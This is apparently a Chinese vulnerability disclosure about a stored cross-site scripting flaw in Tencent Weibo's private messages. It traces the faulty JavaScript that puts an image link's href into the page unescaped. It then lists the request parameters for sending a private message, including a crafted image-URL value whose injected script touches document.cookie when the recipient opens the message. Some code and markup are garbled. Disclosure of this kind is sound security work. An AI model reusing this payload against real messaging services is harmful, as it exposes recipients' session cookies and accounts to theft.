漏洞标题:腾讯微博私信存储型XSS跨站漏洞 漏洞类型:xss跨站脚本攻击 危害等级:高
简要描述: 最近大家都流行连载了。那么我们也开场吧~最近心伤的胖子一直在连载,不知道发重复了没。
详细说明: 漏洞成因: 缺陷文件: http://mat1.gtimg.com/www/mb/js/mi_121016.js 1.首先进入MI.TalkList.picEvent函数 MI.TalkList.picEvent=function(a){ .... 其中a为页面中所有class为PicBox的div集合,即div.PicBox 2.循环每一个class为PicBox的div for(varb=0,f=a.length;b varg=a, .... g为每个div 3.k=c(g,"img")[0],获取PicBox里的第一个img图片 4.h=k.parentNode,获取k的父级元素,是一个链接 5.j=c(g,".picTools"),获取PicBox这个div里的picToolsDIV 6.缺陷在下面这几句JS代码 if(!MI.user.fun.wideStyle) MI.tmpl.picTool=['',_("向左转"),'|',_("向右转"),'',_("查看原图"),"
"].join("");
UI.before(UI.html(MI.tmpl.picTool.replace("$Url",h.href.replace(/\/460$/g,"")).replace("$hisUrl",l))[0],h); MI.tmpl.picTool直接将$Url替换为h.href 而h在取href属性值时,会自动将"<>等转换回",<,>等符号。 ---------------------------------- 结合实际HTML结构,如下: k对应用户发送的图片
h对应k外层的A标签 ... h.href中的"<,>等重新转义回了",<,> 最终导致UI.html(MI.tmpl.picTool.replace("$Url",h.href.replace(/\/460$/g,"")).replace("$hisUrl",l))[0],h) 在输出HTML时,导致XSS出现 -------------------------------- 利用方法,发送私信时, http://api.t.qq.com/inbox/pm_mgr.php sourcereply ptidgainover roomid content................. fid arturlhttp://t2.qpic.cn/mblogpic/4955e75656b3d175296c/460#"> (document.cookie);" style="display:none"><i a=" murl targetgainover funcsend efjs pmlangzh_CN
apiType8
apiHosthttp://api.t.qq.com
漏洞证明: 对方打开私信时会触发XSS。 |